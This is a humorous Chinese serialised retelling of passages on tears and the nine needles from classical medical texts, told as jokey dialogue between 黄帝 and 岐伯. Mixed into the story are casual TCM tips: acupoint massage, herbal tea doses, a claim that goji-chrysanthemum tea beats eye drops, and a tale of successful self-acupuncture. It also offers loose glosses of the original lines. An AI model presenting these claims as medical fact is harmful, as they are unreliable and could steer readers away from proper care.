而“志”，这家伙不仅是骨头的老大，还特别讲义气，看到水（这里指泪水）流了，它也不甘落后，赶紧让鼻涕也跟着出来，因为它们都是“液体家族”的，行动方式都差不多嘛。涕与泣，就像是同甘共苦的好兄弟，一个哭了，另一个怎么可能袖手旁观？它们一起出动，就像是在说：“有难同当，有泪同流！” 现在，咱们来点幽默的。想象一下，如果你心情低落，坐在沙发上，突然鼻子一酸，眼泪开始打转，这时候，你的鼻涕小弟也不甘寂寞，悄悄探出头来，你们俩就这样“涕泪横流”，是不是有点像两个小孩子在比谁哭得更大声？不过别担心，这其实是身体在告诉你：“嘿，朋友，你需要关心了。” 至于穴位和方剂嘛，虽然这段古文没直接提到，但咱们可以借此机会聊聊怎么缓解这种“神志俱悲”的状态。比如，按摩一下“内关穴”，这个穴位在手腕上，轻轻按压能舒缓心情，仿佛给心灵做了一次小小的spa。再或者，泡上一杯“安神茶”，用枸杞、菊花、龙眼肉各5克，加沸水冲泡，不仅好喝，还能帮助安神定志，让你的心情慢慢平复下来。 雷公还真是个好奇宝宝，他一脸认真地问黄帝：“这事儿可真大了！您瞅瞅，有的人哭得撕心裂肺，眼泪却愣是不怎么掉，要么就挤那么几滴，鼻涕也不跟着凑热闹，这到底是哪门子的神奇操作呢？” 黄帝微微一笑，那笑容里藏着千年的智慧：“哈哈，雷公啊，你这个问题问得有趣。要知道，人之所以哭得不见泪，往往是因为心不够痛，情不够深啊。而那些连哭都哭不出来的人，多半是心神不够慈悲，情感没有共鸣。心神不慈悲，情感自然就不悲壮，这时候，体内的阴阳之气就像两个倔强的孩子，谁也不肯让谁，眼泪这小家伙哪能轻易挤出来呢？” “再深入点儿说，当一个人真正伤心到骨子里，那种悲痛会化作一股力量，冲击着内心的阴霾，就像是乌云被阳光冲散一样，这股力量还会直冲眼睛。眼睛是心灵的窗户嘛，一旦心灵之窗被打开，情感的洪流就再也挡不住了，精神一旦离开了对眼睛的固守，眼泪和鼻涕就像开了闸的洪水，哗哗地往外流了。” “雷公啊，你平时不是爱读医书嘛，怎么连这点基础知识都忘了？书上不是说了嘛，‘厥’的时候，眼睛会看不见东西。这是因为‘厥’的时候，人体的阳气一股脑儿地往上冲，阴气则沉到了脚底下。阳气聚在头顶，就像火把点得旺旺的；阴气在脚下，脚自然就凉了，一凉还容易胀气。你想啊，眼睛就靠那么一点点水滋养，结果全身五分之四的火气都往上窜，眼睛不瞎也得半盲啊，眼角膜都得给烤干了！” “还有啊，你见过风一吹眼泪就止不住的情景没？那其实是眼睛在自我保护呢。风一吹，眼睛里的阳气就缩回去了，保护着精气不受伤害，但这样一来，外面的风就像火一样烤着眼睛，眼睛一热，泪水自然就流出来了。这就像是你吃火锅，辣椒吃多了，眼泪鼻涕一块儿来，一个道理嘛！” “说到这，我再给你打个比方，你知道火大了会刮风，风大了才会下雨吧？眼睛流泪也是这个道理，风是火引起的，火又是情绪波动引起的。所以啊，保持心情舒畅，别让火气太大，眼睛才能明亮有神，不是吗？” 说到这里，黄帝顿了顿，似乎想起了什么有趣的事儿，继续说道：“你看现在的人啊，工作压力大，生活节奏快，动不动就上火，眼睛干涩、流泪的问题可多了。咱们中医讲究的是‘治未病’，就是要提前预防。比如，你可以告诉他们，平时多吃点儿枸杞、菊花，泡水当茶喝，既能养肝明目，又能降火润燥。枸杞嘛，大约十克就够了，菊花五克，简单又实惠，比那些昂贵的眼药水强多了。” “还有啊，别忘了提醒他们，工作再忙，也要记得给眼睛放个假，每隔一小时就远眺一下，做做眼保健操，让眼睛也享受一下‘微度假’。毕竟，眼睛是心灵的窗户，窗户脏了，看世界的风景也就不美了。” 九针十二原篇第一（一） 黄帝，那可是个闲不住的皇帝。他不仅忙着治理国家，还得操心老百姓的吃喝拉撒。有一天，黄帝悠悠地叹了口气，对身边的岐伯说：“岐伯啊，你看看我这当皇帝的，虽然名义上管着天下万民，但实际上呢，我还得养活着这帮子百姓，还得收他们的租税。你说我这心里苦不苦？” 岐伯一听，赶紧躬身行礼：“陛下忧心国事，实乃天下万民之福啊。” 黄帝摆摆手：“别扯那些没用的，我现在最头疼的是，老百姓生活不易，还经常生病。我就想啊，能不能别让他们整天吃药，跟吃苦似的，也别动不动就动刀子、扎砭石。我想啊，能不能用那些细小的针，扎扎他们的身体，就能把病给治了？” 岐伯一听，心里暗暗佩服黄帝这脑洞，但还是得提醒一下：“陛下，这针灸之术，虽然神奇，但也不是那么简单的。” 黄帝一听，眼睛一亮：“哦？快说说，快说说！” 岐伯清了清嗓子，开始娓娓道来：“这针灸啊，说起来简单，其实里面的门道可多了。那些粗心的医生，只会盯着病人的身体，看看哪里肿了，哪里疼了，然后就扎针。但真正的高手呢，那是要守住病人的‘神’，就是那个生命力和精神头。你得跟病人聊天，观察他们的表情，听他们说话的声音，才能摸到那个‘神’的门道。” 黄帝一听，挠挠头：“这么玄乎？那具体怎么操作呢？” 岐伯笑了笑：“这你就不懂了吧。你得先学会观察病人的病情，就像侦探一样，找到病因的蛛丝马迹。然后，下针的时候，你得快准狠，就像打游戏一样，得把握好时机。那些粗心的医生啊，他们只知道守着身体的某个部位，比如穴位啊、关节啊，但他们不懂那个‘机’，就是那个关键时机。真正的高手，是要守住那个‘机’，在病情刚刚露头的时候，就给它来个迎头痛击！” 黄帝一听，哈哈大笑：“你这说得跟武侠小说似的，还迎头痛击呢！” 岐伯也笑了：“可不是嘛，这针灸啊，有时候就得像武侠小说里的高手，一针下去，就能让病人起死回生。不过啊，这也不是那么容易的，你得先了解人体的经脉和血气运行，才能找到那个‘机’。而且啊，你还得会‘听针’，就像听音乐一样，听到针在人体里的声音，才能知道病情的变化。” 黄帝一听，眼睛更亮了：“这么神奇？那你快说说，怎么‘听针’啊？” 岐伯摸了摸胡子：“这‘听针’啊，得靠经验和感觉。你得把手放在针上，感受针在人体里的振动和跳动。就像你摸脉一样，能摸出人体的气血运行和病情变化。不过啊，这可不是一朝一夕就能学会的，得靠长期的实践和积累。” 黄帝一听，点了点头：“原来如此。那针灸之术，真的能传于后世吗？” 岐伯肯定地说：“当然可以。不过啊，这得有系统的方法和理论才行。我得先给你立个针经，把针灸的原理、方法和注意事项都写清楚。然后啊，还得分门别类地讲解，让读者能一目了然地掌握针灸的要领。” 黄帝一听，高兴得合不拢嘴：“太好了！岐伯啊，你这简直就是我的救星啊！” 岐伯谦虚地说：“哪里哪里，臣只是略懂皮毛而已。真正的针灸高手啊，那都是经过千锤百炼才练出来的。” 黄帝一听，哈哈大笑：“说得好！那你快给我讲讲这针灸之术的要点吧！” 岐伯于是开始细细讲解起来：“这针灸啊，最重要的是要知道病情的来龙去脉。你得先判断病情是往哪个方向发展的，是逆还是顺。如果是逆的话，那你就得用针去阻止它；如果是顺的话，那你就得用针去帮助它。就像开车一样，你得知道什么时候该踩油门，什么时候该踩刹车。” 黄帝一听，连连点头：“有道理！有道理！” 岐伯接着说：“还有啊，你得知道病情的虚实。如果病情是虚的话，那你就得用针去补充它；如果病情是实的话，那你就得用针去疏泄它。就像给植物浇水一样，你得知道什么时候该浇水，什么时候该排水。” 黄帝一听，更高兴了：“岐伯啊，你这说得太好了！那你快给我讲讲这针灸的具体操作吧！” 岐伯于是开始详细讲解针灸的操作方法和注意事项。他说：“这针灸啊，你得先选好穴位和针刺的深度。然后啊，你得用适当的力度和角度把针刺入人体。在针刺的过程中啊，你还得注意病人的反应和病情变化。如果病人感到疼痛或者不适的话啊，那你就得及时调整针刺的力度和深度。” 黄帝一听，眼睛瞪得圆圆的：“这么复杂？那我这脑子能记住吗？” 岐伯笑了笑：“陛下啊，你这可是小看自己了。你是天生的聪明人，只要肯下功夫学啊，肯定能掌握这针灸之术的。” 黄帝一听，嘿嘿一笑：“那就好！那就好！那我可得好好学学了！” 于是啊，黄帝就开始跟着岐伯学起了针灸之术。他每天都认真地听岐伯讲解和示范，还时不时地提出自己的问题和见解。岐伯呢，也是耐心地解答和指导他。就这样啊，黄帝的针灸之术也是日益精进起来。 有一天啊，黄帝突发奇想：“岐伯啊，你说这针灸之术能不能用来治疗自己的病呢？” 岐伯一听，想了想：“应该可以吧。不过啊，这得需要极高的技艺和勇气才行。毕竟啊，自己的身体可不是闹着玩的。” 黄帝一听，嘿嘿一笑：“那我来试试吧！” 于是啊，黄帝就开始在自己身上扎起了针来。他先是选好了穴位和针刺的深度，然后又用适当的力度和角度把针刺入了自己的身体。在针刺的过程中啊，他还时不时地感受一下自己的身体反应和病情变化。 嘿！你还别说啊！这针灸之术还真管用！黄帝只扎了几针啊，就感觉自己的身体轻松了许多！他高兴得哈哈大笑：“岐伯啊！你这针灸之术真是太神奇了！我以后啊！再也不用怕生病了！” 岐伯一听啊！也是笑得合不拢嘴：“陛下啊！你这可真是自学成才啊！不过啊！这针灸之术啊！虽然神奇！但也不能滥用！你得根据自己的身体状况和病情来选择合适的穴位和针刺方法才行！” 黄帝一听啊！连连点头：“对对对！你说得对！我以后啊！一定得注意这点！” 从此以后啊！黄帝就更加热爱针灸之术了！他不仅自己学！还鼓励自己的臣子和百姓们也跟着学！就这样！针灸之术就在华夏大地上流传了下来！成为了咱们中华民族宝贵的文化遗产之一！ 不过啊！咱们也得记住岐伯的话！这针灸之术啊！虽然神奇！但也不能滥用啊！咱们得根据自己的身体状况和病情来选择合适的穴位和针刺方法才行啊！毕竟啊！咱们的身体可不是闹着玩的！ 再回到黄帝和岐伯的对话上来啊！黄帝啊！那可是个爱思考的人！他又问岐伯了：“岐伯啊！你说这针灸之术啊！有没有什么特别的讲究啊？比如说什么时间扎针最好啊？什么天气扎针最好啊？” 岐伯一听啊！又是一阵哈哈大笑：“陛下啊！你这可真是问对人了！这针灸之术啊！确实有不少的讲究呢！比如说啊！在一天之中啊！早晨是阳气初生的时候啊！这时候扎针最好！可以助阳气升发！而晚上呢！是阴气渐盛的时候！这时候扎针就不太好啊！容易伤阴气！” 黄帝一听啊！眼睛又是一亮：“哦？还有这样的讲究啊？那天气呢？有没有什么特别的讲究啊？” 岐伯点了点头：“当然有啦！比如说啊！在风和日丽、气候温暖的时候扎针最好！因为这时候人体的气血运行比较顺畅！而在阴雨连绵、气候寒冷的时候扎针就不太好！因为这时候人体的气血运行容易受阻！” *。有一天，黄帝突发奇想，对身边的歧伯说：“嘿，歧伯啊，我这心里头一直有个疑惑，就是想问问你，这针灸里头说的‘虚实’到底是个啥玩意儿？你能不能给我讲讲这其中的门道？” 歧伯一听，哈哈一笑，捋了捋他那飘逸的长须，说道：“黄帝啊，你这问题问得好！要说这针灸的虚实，那可是咱们中医里头的一门大学问呢！来来来，我给你细细道来。” 歧伯清了清嗓子，开始了他那深入浅出的讲解：“凡是用针的人啊，都得记住这个原则——虚的地方，你得给它补实；满的地方，你得给它泄泄火。这就好比咱们吃饭，饿了就得多吃点，撑了就得溜达溜达消消食儿。人体也是这样，气血不足了，你就得用针给它补补；气血太旺了，你就得给它疏导疏导。” 黄帝一听，点了点头，说道：“嗯，这个我懂，就是缺啥补啥，多了就往外倒腾嘛。” 歧伯笑了笑，继续说道：“对对对，就是这个理儿！不过啊，这针灸里头还有个更绝的，叫做‘宛陈则除之’。宛陈啊，说的就是那些淤积在身体里头，像陈年老垢一样的东西。这些东西啊，可不好对付，你得用针给它们来个大扫除，把它们从身体里赶出去！” 黄帝一听，眼睛一亮，说道：“哟，这针灸还能当清洁工啊？厉害厉害！” 歧伯哈哈大笑，说道：“那当然啦！咱们中医讲究的就是平衡和谐，身体里头有垃圾，自然得给它清理掉。不然啊，这些垃圾堆积起来，可是会生病的哟！” 黄帝点了点头，又问道：“那‘邪胜则虚之’又是什么意思呢？” 歧伯解释道：“这个啊，说的是当身体被外邪入侵的时候，你得用针给它泄泄邪气，让它恢复到平衡的状态。这就好比咱们家里进了小偷，你得赶紧把他赶出去，不然他可就把你家给搬空啦！” 黄帝一听，恍然大悟，说道：“原来如此！那《大要》里头说的‘徐而疾则实，疾而徐则虚’又是什么意思呢？” 歧伯微微一笑，说道：“这个啊，说的是针灸的手法。你下针的时候，如果慢慢地进去，然后快速地拔出来，这样就能起到补实的作用；反过来呢，如果你快速地进去，然后慢慢地拔出来，这样就能起到泄虚的作用。这就好比咱们炒菜，火候掌握得好了，菜就好吃；火候掌握得不好，菜就完蛋了！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝一听，哈哈大笑，说道：“歧伯啊，你这比喻打得可真是生动形象啊！那‘言实与虚，若有若无，察后与先。若存若亡，为虚与实，若得若失’又是什么意思呢？” 歧伯微笑着解释道：“这针灸之道啊，其中的奥妙可不仅仅在于手法与穴位的精准。它更要求我们医者，在施针之时，全心全意地去感知病人身体内的微妙变化。你可知，那体内的虚实转换，时而清晰，时而朦胧，犹如山间云雾，时隐时现，变幻莫测。这样的变化，若非用心体悟，细致入微地观察，又怎能捕捉到其准确的踪迹呢？ 这就好比孩童们常玩的捉迷藏游戏，那藏起来的小伙伴，若不专心致志地寻找，又如何能发现他的藏身之处呢？针灸亦是如此，医者需以心为眼，以神为引，方能洞察秋毫，把握那瞬息万变的病情，给予病人最恰当的治疗。这便是我们针灸医师所追求的境界啊！” 黄帝一听，连连点头，说道：“不错不错！歧伯啊，你这针灸的理论可真是博大精深啊！我算是长见识了！” 歧伯笑道：“黄帝啊，咱们中医的学问啊，那可是源远流长，博大精深。我这也只是给你讲了个皮毛而已。要想真正学好中医，你还得下苦功夫呢！” 黄帝一听，连连称是，说道：“对对对！我一定好好学习，天天向上！争取早日成为中医界的扛把子！” 九针十二原篇第一（二） 黄帝又对岐伯说：“岐伯啊，我听说你针灸技术了得，能给我讲讲那九针的补泻是怎么回事儿吗？” 岐伯一听，捋了捋长胡子，笑眯眯地说：“哎呀，陛下，这虚实之道，可是咱们中医的精髓，九针呢，就是咱们手里的秘密武器。补泻之时，全靠这针来施展魔法啦！” 黄帝一听，眼睛立马亮了：“魔法？快说说，快说说！” 岐伯清了清嗓子，开始了他的爆笑针灸课：“要说泻法啊，你得想象自己是个超级英雄，手里拿的不是针，而是激光剑！你得把这针猛地插进去，就像超人打怪兽一样，快速而有力。然后呢，你得像放气球一样，‘嗖’地一下把针拔出来，这时候，那些躲在身体里的邪气啊，就会跟着针一起跑出来，大喊‘饶命啊，饶命啊’！” 黄帝一听，笑得前仰后合：“哈哈，这泻法还挺有意思的！” 岐伯接着说：“但是啊，你得注意，不能一边拔针一边在那儿磨蹭，就像你妈妈催你写作业一样，拖拖拉拉的。你得迅速、果断，不然的话，那血气就会像害羞的小姑娘一样，躲在角落里不出来，邪气也就没法泄了。” 黄帝点了点头：“哦，原来如此，那补法呢？” 岐伯神秘一笑：“补法啊，就得像哄小孩子一样，温柔、耐心。你得轻轻地跟着针的感觉走，就像是在跟针聊天：‘嘿，小家伙，咱们现在要去给身体加油了！’你得慢慢地、缓缓地推进，就像是小溪流水，悠悠然然。” 黄帝听得入了迷：“然后呢，然后呢？” 岐伯继续说：“你得像蚊子停在手上一样，轻轻地、稳稳地，别吓跑了它。然后，你得像跟针玩捉迷藏一样，一会儿靠近，一会儿远离，让它在身体里游走，感受身体的每一个角落。最后，你得像弹吉他一样，‘嘣’地一下，把针拔出来，但那股气，却已经留在了身体里，像个小太阳一样，温暖着每一个角落。” 黄帝听得哈哈大笑：“这补法也太有趣了吧！那还有个什么‘令左属右，其气故止，外门已闭，中气乃实’是咋回事儿？” 岐伯解释说：“这个啊，就像是你在玩‘左右手互搏术’一样。比如说，你要给右手补气，那就得先在左手扎上一针，告诉身体：‘嘿，注意啦，我要开始给右手加油了！’这样呢，身体里的气就会乖乖地待在右手，不会乱跑。然后呢，你把左手的针拔出来，就像是关上了一扇门，把邪气都挡在外面，这样，右手里的气就会越来越充实，身体也就越来越棒了！” 黄帝听得连连点头：“原来如此，原来如此！那还有个‘必无留血，急取诛之’呢？” 岐伯叹了口气：“哎呀，陛下啊，这可是个严肃的事儿。如果你在针灸的时候，不小心扎到了血管，那可就得赶紧处理啊！你得像消防员一样，迅速、果断地把针拔出来，然后赶紧止血、消毒，不然的话，那可就麻烦大了！” 黄帝闲来无事，就琢磨起了养生之道。他心想：“我这身为一国之君，整天忙着治国理政，身体可不能垮啊！听说针灸能治病养生，我得找岐伯问问去。” 于是，黄帝就颠颠儿地跑到岐伯那儿，开口就问：“岐伯啊，我听说针灸挺神奇的，你能不能给我讲讲持针之道啊？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这可是问对人了。持针之道，那可是咱们中医针灸的精髓所在啊！不过，你得先记住一句话——坚者为宝！” 黄帝一听，眉头一皱，心想：“啥玩意儿？坚者为宝？这啥意思啊？” 岐伯一看黄帝那迷茫样儿，就解释道：“这‘坚者为宝’啊，就是说咱们针灸的时候，手得稳，针得直，得跟那山峰一样坚定不移！你想象一下，你要是一针下去，手跟筛糠似的，那针还能扎准地方吗？不得把病人给扎成筛子啊！” 黄帝一听，恍然大悟，连连点头：“对对对，你说得对！那接下来呢？” 岐伯接着说：“接下来啊，就是正指直刺，无针左右。你得用手指头对准穴位，一针下去，不偏不倚，就跟那射箭似的，得射中靶心啊！你要是东扎一下，西扎一下，那不成乱刺一通了吗？” 黄帝一听，又点了点头：“嗯，有道理！那神在秋毫又是啥意思呢？” 岐伯微微一笑，说：“这‘神在秋毫’啊，就是说咱们针灸的时候，得全神贯注，眼睛得跟那显微镜似的，连根汗毛都别放过！你得仔细观察病人的血脉，找准穴位，这样才能一针见血，哦不对，是一针见效！” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻可真够逗的！那审视血脉者，刺之无殆又是什么意思呢？” 岐伯解释道：“这‘审视血脉者，刺之无殆’啊，就是说咱们针灸之前，得好好看看病人的血脉情况。你得像个侦探似的，把病人的身体情况都摸透了，才能下针啊！不然的话，一针下去，要是扎到不该扎的地方，那可就得闹笑话了！” 黄帝一听，连连点头：“对对对，你说得对！那方刺之时，必在悬阳，极与两卫又是啥意思呢？” 岐伯一听，叹了口气说：“黄帝啊，你这问题可真够多的！不过呢，我还是得给你解释清楚。这‘方刺之时，必在悬阳，极与两卫’啊，就是说咱们针灸的时候，得注意阳气的变化。你得像个天气预报员似的，时刻关注着病人身体里的阳气情况。阳气足了，咱们就下针；阳气不足了，咱们就得等等。还有啊，你还得注意保护好病人的卫气，别一针下去，把卫气给扎跑了！” 黄帝一听，又点了点头：“嗯，我明白了！那血脉者，在俞横居，视之独澄，切之独坚又是什么意思呢？” 岐伯一听，就笑了起来：“黄帝啊，你这问题可真够专业的！这‘血脉者，在俞横居，视之独澄，切之独坚’啊，就是说咱们针灸的时候，得找到那些特殊的血脉。这些血脉啊，就像那隐藏在沙漠里的绿洲似的，你得仔细找才能找到。你找到了之后呢，就得仔细观察它们的样子。它们啊，看起来就像那清澈的湖水似的，一眼就能看到底；你用手一摸呢，又像那坚硬的石头似的，怎么也按不动。这就是咱们要找的穴位啊！” 黄帝一听，哈哈大笑：“岐伯啊，你可真逗！不过呢，你这么一说，我就全明白了！原来针灸还有这么多讲究啊！” 岐伯一听，也笑了起来：“黄帝啊，你这可是学到点子上了！针灸啊，可不是那么简单的事儿。你得全神贯注、心无旁骛才行！不过呢，你也别太紧张了。咱们针灸啊，就是为了治病养生、延年益寿的。你要是太紧张了，反而容易出错呢！” 黄帝一听，连连点头：“对对对，你说得对！那我以后可得好好练练这持针之道了！” 岐伯一听，就拍了拍黄帝的肩膀说：“黄帝啊，你放心吧！有我在呢，你肯定能学好这持针之道的！不过啊，你得记住一点：针灸这事儿啊，得慢慢来、别着急！你得像那炖老火汤似的，得慢慢熬、慢慢炖才行！” 黄帝继续问岐伯：岐伯啊，我这人对啥都好奇，今儿个就想跟你聊聊那传说中的九针。你老人家可是医学界的泰斗，这九针的知识可得给我普及普及！ 岐伯笑眯眯地说：哎呀，黄帝，您这可是问对人了。九针啊，那可是咱们中医针灸里的宝贝疙瘩，每一种针都有它独特的名字和形状，就像咱们家里的锅碗瓢盆，各有各的用处。 黄帝哈哈大笑：岐伯，你这比喻倒是挺接地气。来来来，赶紧给我细说细说，这九针到底都是啥样的？ 岐伯悠悠地说道：好嘞，咱就从头开始说。第一种针，叫镵针，这家伙长得挺标准，一寸六分长，头部大大的，尾部尖尖的，就像个超大号的绣花针。它的作用嘛，主要就是用来泻阳气的，你要是觉得自己阳气太旺，热得跟火炉似的，那就得找它帮忙啦！ 黄帝点头说道：嗯，听起来倒是挺有意思的。那第二种呢？ 岐伯又接着说：第二种针，名叫员针，也是一寸六分长，不过它的形状可有点特别，圆滚滚的，像个小鸡蛋。这圆针啊，主要是用来在皮肤上摩擦摩擦的，就像咱们给脸做按摩一样，只不过它是给身体做按摩。它能帮你疏散气血，而且啊，它还有个好处，就是不会伤到肌肉，绝对是温柔型的选手！ 黄帝笑道：岐伯，你这比喻真是绝了！那第三种针呢？ 岐伯接着说道：第三种针，叫鍉针，这家伙可是个长个子，三寸半长呢！它的头部就像小米粒那么尖，别看它小，作用可大了去了。它主要是用来按脉的，就像咱们用手指按琴弦一样，能感觉到身体里的气血流动。而且啊，它还有个特点，就是不会陷得太深，免得把你给扎疼了。 黄帝若有所思道：原来如此，那锋针呢？ 岐伯再次说道：锋针啊，这家伙可是个狠角色，一寸六分长，头部有三个锋利的角，就像个三叉戟似的。它可是专门用来对付那些顽固疾病的，比如你有个老毛病，怎么也治不好，那就得请锋针出手了。不过啊，用它的时候可得小心点，别一不小心把自己给扎成筛子了！ 黄帝哈哈大笑：岐伯，你这话说得也太逗了！那铍针呢？ 岐伯耐心说道：铍针啊，这家伙长得就像把短剑，四寸长，剑锋那叫一个锋利。它可是专门用来取大脓包的，就像咱们平时削苹果皮一样，轻松就把脓包给削掉了。不过啊，这可得是个技术活，一般人可干不了！ 黄帝点头道：嗯，听起来确实挺厉害的。那员利针呢？ 岐伯耐心解答道：员利针啊，这家伙长得挺有意思，一寸六分长，头部尖尖的，圆圆的，就像个小锥子似的。它可是个多面手，既能泻气，又能疏通经络。而且啊，它的身体还微微有点大，就像咱们平时吃的糖葫芦，中间那段稍微粗点。用它来对付突然发作的疾病，那可是手到擒来！ 黄帝大笑道：岐伯，你这比喻真是越来越生动有趣了！那毫针呢？ 岐伯详细解释：毫针啊，这可是针灸里的明星选手，三寸六分长，头部尖尖的，就像蚊子嘴那么小。它可是个温柔的小家伙，用起来就像咱们平时走路一样，慢慢来，不急不躁。它能在身体里待好久，帮你慢慢调养身体，治疗那些顽固的疼痛。不过啊，用它的时候可得有耐心，别指望一针下去就能药到病除！ 黄帝点头说道：嗯，我明白了。那长针呢？ 岐伯继续解答：长针啊，这家伙可是个长条子，七寸长呢！它的头部锋利，身体薄薄的，就像一把细长的剑。它可是专门用来对付那些远离身体的痹症的，就像咱们平时够不着的地方，得用长点的工具才行。用长针的时候啊，你可得小心点，别一不小心把它给弄断了！ 黄帝大笑道：岐伯，你这话说得我都有点紧张了！那最后一种针呢？ 岐伯舒了一口气，道：最后一种针啊，叫大针，四寸长，头部尖尖的，微微的有点圆。它可是专门用来泻除关节里的积水的，就像咱们平时给花盆里的水倒出来一样。不过啊，用它的时候可得找准位置，别一不小心把旁边的花也给浇湿了！ 黄帝大笑道：岐伯，你这比喻真是太逗了！你这九针的知识讲解，真是让我大开眼界啊！ 岐伯也笑道：黄帝大人，您过奖了。这九针啊，可是咱们中医针灸的瑰宝，每一种针都有它独特的用处。不过啊，用它们的时候可得小心点，别一不小心把自己给扎成刺猬了！ 黄帝点头答道：嗯，我明白了。岐伯啊，你这九针的知识讲解得这么清楚，我以后也能给人看病了！ 岐伯继续说道：黄帝大人，您可别开玩笑了。这针灸啊，可是个技术活，得经过长时间的学习和实践才行。您啊，还是好好当您的皇帝吧，这看病的事儿啊，还是交给咱们专业人士来干吧！ 九针十二原篇第一（三） 话说有一天，黄帝心血来潮，突发奇想，对身边的岐伯说：“嘿，岐伯啊，我这心里头有个疑惑，你说这针灸吧，针针都不同，各有各的妙用，还长得五花八门，这背后是不是有啥大学问啊？给咱讲讲呗！” 岐伯一听，眼睛一亮，心想：这黄帝今儿个是玩心大起啊，行，那我就给你来一场针灸版的《最强大脑》！于是，岐伯清了清嗓子，缓缓道来：“黄帝啊，要说这针灸啊，那可真是一门艺术，一门学问，更是一场人体内的冒险之旅呢！ 你看啊，咱们人体里的气，就像是城市交通，有规矩，有方向。邪气呢，就像是那些违章乱停的车辆，总是喜欢往高处窜，占据重要的位置；浊气嘛，就像是大街上的垃圾，堆积在中层，影响市容；而清气呢，本该高高在上，享受蓝天白云，却偏偏被挤到了最下面，真是憋屈得很！ 这时候，咱们针灸师就出现了，就像是城市里的交警，专治各种不服！咱们手里的针，就像是各种型号的罚单，针对不同的违章行为，有不同的处理方式。比如说，邪气在上头为非作歹，咱就轻轻一针，扎到它的老巢——脉里，邪气立马就被吓得屁滚尿流，乖乖投降，被赶出体外了！ 要是浊气在中层捣乱呢，咱就来个‘中层打击’，针中脉，把浊气给揪出来，让它知道谁是老大！不过啊，这针灸可不是越深越好，你想象一下，你要是用个超大号针头，直接扎到地底下去，那邪气没被赶走，反而被你吓得躲得更深了，这病啊，就更严重了！所以啊，咱们针灸师得跟狙击手一样，精准打击，一针见血，哦不，一针见效！” 黄帝听得津津有味，连连点头：“不错不错，岐伯你这比喻生动形象，让我这门外汉都听懂了！那接下来呢，这皮肉筋脉又是怎么回事？” 岐伯一笑：“黄帝啊，你这问题问得好！皮肉筋脉啊，就像是人体里的四个小区，每个小区都有自己的物业，也就是咱们中医说的‘各有所处’。不同的病呢，就像是不同小区的业主，有的家里漏水，有的家里停电，你得找对应的物业去处理，不能乱来！ 比如说，皮肤病就像是小区外墙掉皮了，你得在皮肤表面下功夫，用浅刺法，就像是给墙面补补漆；肌肉病呢，就像是小区里的健身器材坏了，你得深入肌肉层，给它来个‘肌肉按摩’，让它重新焕发生机；筋病就像是小区的电线乱了，你得梳理梳理，用弹拨法，让它通顺起来；脉病呢，就像是小区的水管堵了，你得用深刺法，把里面的垃圾给冲走！ 所以啊，咱们针灸师就像是小区里的全能物业，啥问题都得会修，啥病都得能治！不过啊，这还有个前提，那就是得‘无实无虚’，别搞错了病情，别把好人当坏人治，也别把坏人当好人放！要是损了不足，益了有余，那可就是大大的不妙了，病只会越治越重，到时候可别怪我没提醒你哦！” 黄帝一听，哈哈大笑：“岐伯啊，你这不光是给我讲针灸，还顺便给我上了一堂人生哲理课啊！无实无虚，确实如此，做人做事都得有个分寸，不能太过也不能不及！” 岐伯也跟着笑了起来：“黄帝啊，你这悟性真是高！不过啊，这针灸啊，还有更惊险的呢！比如说，你要是取了不该取的‘五脉’，那可是要命的！五脉就像是人体里的高压电线，碰都碰不得，更别说扎针了！还有啊，你要是取了‘三脉’，那人也得吓得半死，三脉就像是人体里的敏感神经，稍微一碰，人就得跳起来！ 再说说这阴阳吧，阴就像是人体里的夜晚，需要安静、需要休息；阳就像是人体里的白天，需要活力、需要工作。你要是夺了阴，那就是打破了人体的平衡，人就得死翘翘了；你要是夺了阳，那可就热闹了，人得疯疯癫癫，像个狂人一样！所以啊，咱们针灸师啊，得时刻牢记‘针害毕矣’，别一不小心就成了人体的破坏者！” 黄帝和岐伯在花园里散步。黄帝说：“嘿，岐伯，我这心里头有个大大的疑惑，非得请教你不可。你说咱们搞针灸的，有时候扎下去，那感觉吧，就像石沉大海，气儿半天不来；可有时候呢，针尖儿刚一触皮，那气儿‘噌’地一下就到位了，跟触电似的。这到底是咋回事儿？里面的门道你给说道说道。” 岐伯一听，捋了捋长须，笑眯眯地说：“黄帝陛下，这事儿啊，得从咱们中医的‘气’说起。您想啊，咱们人体里这股子气，它不是固定不变的，它爱溜达，时而这里聚聚，时而那里散散。所以啊，您要是扎针的时候，赶上它正好不在那儿‘值班’，嘿，您就算扎上个百八十下，它也不带搭理您的。这时候啊，咱们就得有耐心，别急着数针数，慢慢来，跟它耗上，等它巡逻到岗了， 自然就有反应了。” 黄帝一听，乐了：“哈哈，这么说来，咱们针灸师还得学会跟这股子气玩捉迷藏呢！” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 岐伯点头笑道：“对头！而且啊，这气一来，您可就得见好就收，别恋战。为啥呢？因为这气跟咱们人一样，也有个脾气。您要是老扎着不放，它可就烦了，说不定还给您来个‘逆反心理’，效果反而不佳。所以啊，气一到，针就撤，让它自个儿在里头好好发挥，咱们在一旁看热闹就成了。” 黄帝眨巴眨巴眼睛，一脸好奇：“那，这针还分什么适宜不适宜，形状还各不相同，这是唱的哪一出啊？” 岐伯解释道：“陛下，这就好比咱们做饭，不同的菜得用不同的锅，不同的火候。咱们人体的穴位啊，也是各有各的性格，各有各的喜好。有的穴位喜欢温柔的抚摸，有的呢，就得来点猛料才肯动弹。所以啊，咱们得根据穴位的特点，选择合适的针具，采用不同的手法，这样才能让它们心甘情愿地为咱们服务，达到治病养生的效果。” 黄帝听得连连点头，笑道：“岐伯，你这比喻真是绝了！那，咱们针灸的精髓是什么呢？” 岐伯沉吟片刻，缓缓说道：“针灸的精髓啊，就在于那个‘气至而有效’。您想啊，那气要是真来了，效果就跟风吹云散一样，立竿见影，清清楚楚，明明白白，就像咱们突然从乌云密布中看到了蓝天白云，那叫一个心情舒畅，豁然开朗！所以啊，只要咱们掌握了这个秘诀，针灸之道就算是学到家了。” 说到这里，岐伯忽然话锋一转，笑道：“不过啊，陛下，您可知道，这针灸之道虽然神奇，但也不是万能的。有时候，咱们还得配合着药物、食疗、运动这些个‘小伙伴’一起上阵，才能打败那些个顽固的‘敌人’。毕竟，咱们人体啊，是个复杂的系统，得综合治理，才能和谐运转嘛！” 黄帝一听，哈哈大笑：“岐伯，你这话说得在理！看来，咱们中医之道，还真是一门艺术，得用心去感受，用智慧去领悟。以后啊，我可得多跟你学学，争取也当个‘针灸大师’，到时候，咱们一起治病救人，那该多威风啊！” 